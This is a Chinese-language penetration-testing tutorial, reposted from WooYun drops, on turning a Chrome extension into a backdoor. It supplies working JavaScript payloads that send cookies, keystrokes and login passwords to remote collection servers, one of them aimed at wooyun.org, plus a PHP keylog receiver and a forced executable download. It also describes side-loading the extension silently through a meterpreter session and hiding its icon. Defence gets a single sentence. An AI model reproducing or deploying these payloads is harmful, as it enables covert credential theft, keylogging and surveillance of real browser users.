<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/14410

            0x00 Introduction


            眾所周知,Web應用變得越來越流行,生活,辦公,娛樂等等很多都是通過Web,而瀏覽器是我們訪問Web最常使用的工具之一。隨著Web功能的強大,瀏覽器的功能也變得越來越強大。而此文,就是介紹一種通過Chrome插件進行攻擊的姿勢跟手法。

            撰寫此文時,僅對Chrome瀏覽器進行了部分測試,有興趣的小伙伴可以深入,本文主要是提供一種思路。

            0x01 Write Chrome Extension


            在知道怎么寫插件之前,我們首先了解一下插件的文件結構,隨便下載一個谷歌插件,將其重命名為zip后綴之后進行解壓,解壓后的文件目錄如下:

            Alt text

            其中,manifest.json是主文件,來聲明要寫的插件的相關信息。可以把mainfest.json理解成插件的入口,即chrome需要通過manifest.json來理解你的插件要引用哪些文件 、 需要哪些權限 、 插件圖標 等信息。而其他文件,就是能實現此插件功能的腳本文件以及插件圖標等。

            下面,我們開始構造我們的hack extension。

            首先, 編寫manifest.json文件如下:

            #!js
            {
                "name": "demo",  //插件顯示的名稱
                "description": "demo", //插件的描述
                "version": "1.0", //插件的版本
                "manifest_version": 2, //新版chrome強制manifest_version為2
                //插件的圖標
                "icons": {  
                "16": "imgs/ico.png",
                "32": "imgs/ico.png",
                "48": "imgs/ico.png",
                "128": "imgs/ico.png"
                },
                //定義后臺的一些特性
                "background":{
                  "scripts":[  //加載插件的時候執行的腳本
                      "js/call.js", 
                      "lib/jquery.min.js"
                  ]
                },
                "content_scripts": [//定義自動加載的內容
                    {
                        "matches": [ //滿足什么樣的條件執行該插件
                            "<all_urls>"
                        ],
                        "js": [
                            "lib/jquery.min.js", //滿足以后執行的腳本
                            "js/check.js"
                        ]
                    }
                ],
              //插件的權限
              "permissions": [
                  "tabs",
                  "http://*/",
                  "https://*/",
                  "background",
                  "webRequest",
                  "storage",
                  "browsingData"
              ]
            }
            

            創建以下文件:

            Alt text

            現在,所有的文件就全了,但是還沒什么功能,嘗試加載一下插件,瀏覽器URL欄輸入 chrome://extensions/ 選擇加載已解壓的擴展程序,之后選擇文件所在的文件夾。

            Alt text

            然后插件就已經被加載上了:

            Alt text

            0x02 How to Hack


            插件已經可以被成功加載了,怎么使用它來進行攻擊呢,我們開始編寫。

            1、XSS Platform

            配置XSS平臺,獲取項目代碼如下:

            #!js
            <script src=http://t.cn/xxxxxxx></script>
            

            訪問http://t.cn/xxxxxx 獲取代碼,將其寫入check.js,內容如下:

            #!js
            ??(function(){(new Image()).src='http://xss9.com/index.php?do=api&id=xxxxxx&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();
            if(''==1){keep=new Image();keep.src='http://xss9.com/index.php?do=keepsession&id=xxxxxx&url='+escape(document.location)+'&cookie='+escape(document.cookie)};
            

            保存文件,重新加載插件,訪問任意網站,獲取訪問網站的cookie信息,如下圖:

            Alt text

            2、Keyloger

            將以下Payload寫入check.js中:

            #!js
            $(document).ready(function()
            {
                var server = "http://server.com/"; //接收服務器
                var gate = "data.php?data=";  //接收文件
                var tabURL = window.location.href;
            
                        var keys='';
                document.onkeypress = function(e) {
                  get = window.event?event:e;
                  key = get.keyCode?get.keyCode:get.charCode;
                  key = String.fromCharCode(key);
                  keys+=key;
                }
                window.setInterval(function(){
                  new Image().src = server+gate+keys;
                  keys = '';
                }, 1000);        
                });
            

            接收php文件如下,將此文件命名為data.php置于服務器上:

            #!php
            <?php
            $txt = $_GET['data'];
            $log = fopen("keylog.txt", "a") or die("Unable to open file!");
            fwrite($log, $txt);
            fclose($log);
            ?>
            

            需要在服務器上建立keylog.txt,然后給777權限就可以了

            加載插件以后,鍵盤記錄啟動,當用戶在網頁中進行鍵盤輸入時,輸入數據會發送到遠程服務器。

            Alt text

            3、ForceDownload

            強制下載文件Payload如下,此payload即安裝插件以后,訪問任意網站強制下載程序:

            #!php
            $(document).ready(function()
            {
                var server = "http://server.com/"; //服務器
                var gate = "/test/test.exe"; //要下載的文件
                var tabURL = window.location.href;
            
                var link = document.createElement('a');
            link.href = server+gate;
            link.download = '';
            document.body.appendChild(link);
            link.click();    
                });
            

            4、Get Wooyun Password

            以下Payload 用于獲取登陸wooyun的賬號密碼。

            #!php
            $(document).ready(function()
            {
                var server = "http://xss9.com/"; //發送地址
                var gate = "index.php?do=api&id=xxxxx"; //接收參數
                var tabURL = window.location.href;
            
                    if(tabURL.indexOf('wooyun.org') !== -1 )
                {
                    wooyun();
                }
            
                function email()
                {
                    var email = document.getElementsByName('email')[0].value;
                    var password = document.getElementsByName('password')[0].value;
                    var data = "&username="+email+"&password="+password;
                    new Image().src = server+gate+data;
                    //console.log("email="+email+"&password="+password)
                }
                function wooyun()
                {
                    document.getElementById('subbtn').onmouseover = email;
                }    
                });
            

            Alt text

            修改payload可針對性獲取某網站賬號密碼信息。

            Payload就介紹這么多了,熟悉前端的童鞋一定可以創造更多花式玩兒法。

            0x03 When to Use


            或許小伙伴們會問,弄這個有什么用,我又不需要裝這個插件抓自己的密碼。當然,這個肯定不是用來搞自己的。滲透測試過程中,有沒有碰到過看到管理員經常使用Chrome瀏覽器,而我們卻沒辦法獲取到其常用密碼呢?(管理員并沒有使用瀏覽器記住密碼的功能)。這個時候,除了給系統裝鍵盤記錄器,我們還可以為其瀏覽器裝我們編寫的插件。而這個插件,就可以用來搜集各種敏感信息,而且,針對的是瀏覽器訪問的所有網站!

            除此之外,我發現chrome是可以通過命令行來安裝插件的,來設想一個場景,我們使用某個漏洞,或者社會工程學獲取了小明的計算機控制權,現在已經有了一個meterpreter會話如下:

            Alt text

            執行如下命令:

            #!bash
            meterpreter > run post/windows/gather/enum_chrome
            

            Alt text

            可以看到目標系統是安裝了chrome瀏覽器的。

            上傳插件目錄demo到e:\demo\ 目錄,由于meterpreter的upload只能上傳文件,不能上傳文件夾,所以這里需要把demo文件夾打包壓縮以后再上傳,之后再通過目標系統的解壓軟件或者自己上傳的unrar.exe進行解壓,具體操作如下圖:

            Alt text

            使用如下命令尋找安裝的解壓軟件:

            Alt text

            之后使用如下命令進行解壓并刪除壓縮包,具體操作如下圖:

            Alt text

            之后為chrome添加插件,使用如下命令:

            #!bash
            "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"  --load-extension="F:\demo\demo" --silent-launch 
            

            路徑為chrome默認安裝路徑,如果找不到,可以使用dir命令來找,--load-extension是要加載的插件路徑,--silent-launch表示不開啟chrome,靜默安裝。注意:需要在chrome未運行的情況下才可成功加載插件。

            使用以上命令有現在兩點缺點:

            缺點一,會有如下提示(過幾秒會消失)。

            Alt text

            缺點二,有圖標,有提示。

            Alt text

            一直在想辦法解決以上問題,圖標可以換成透明的或者常用的插件圖片來解決,另外兩個暫時還沒解決,詳細的chrome命令可以參考這里: chromium-command-line,有小伙伴有了解決方案還請不吝賜教。當然也可以嘗試寫一個小程序來監控chrome,一旦chrome打開,則模擬點擊事件點擊取消按鈕。

            最好的方式就是可以直接去為他安裝插件,然后點了這幾個提示之后,之后的使用則不會再次出現提示,這樣可以隱藏挺長時間。

            然后,我就控制小明的所有訪問內容了,就像這個圖一樣:

            Alt text

            當然除了以上的利用方式,還可以通過發布一些插件讓其含有攻擊代碼同樣可以實現此功能。

            0x04 How to Defend


            對于不明來歷的插件盡量不要安裝,如果發現問題,請盡早修改自己各個賬號密碼。

            0x05 Summarize


            此文主要介紹在滲透測試過程中的一種思路,有興趣的小伙伴可以繼續測試其他瀏覽器的插件,這種方式雖然簡單,但是效果還不錯,你值得擁有。以上文件可以通過這里下載:Extension_Backdoor

            0x06 Consult


            1. http://peter.sh/experiments/chromium-command-line-switches/#condition-21
            2. http://www.chromeplugins.org/google/chrome-plugins/installing-crx-file-command-line-9976.html
            3. https://developer.chrome.com/extensions/external_extensions
            4. http://www.cnblogs.com/walkingp/archive/2011/03/31/2001628.html

            本文由evi1cg原創并首發于烏云drops,轉載請注明

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线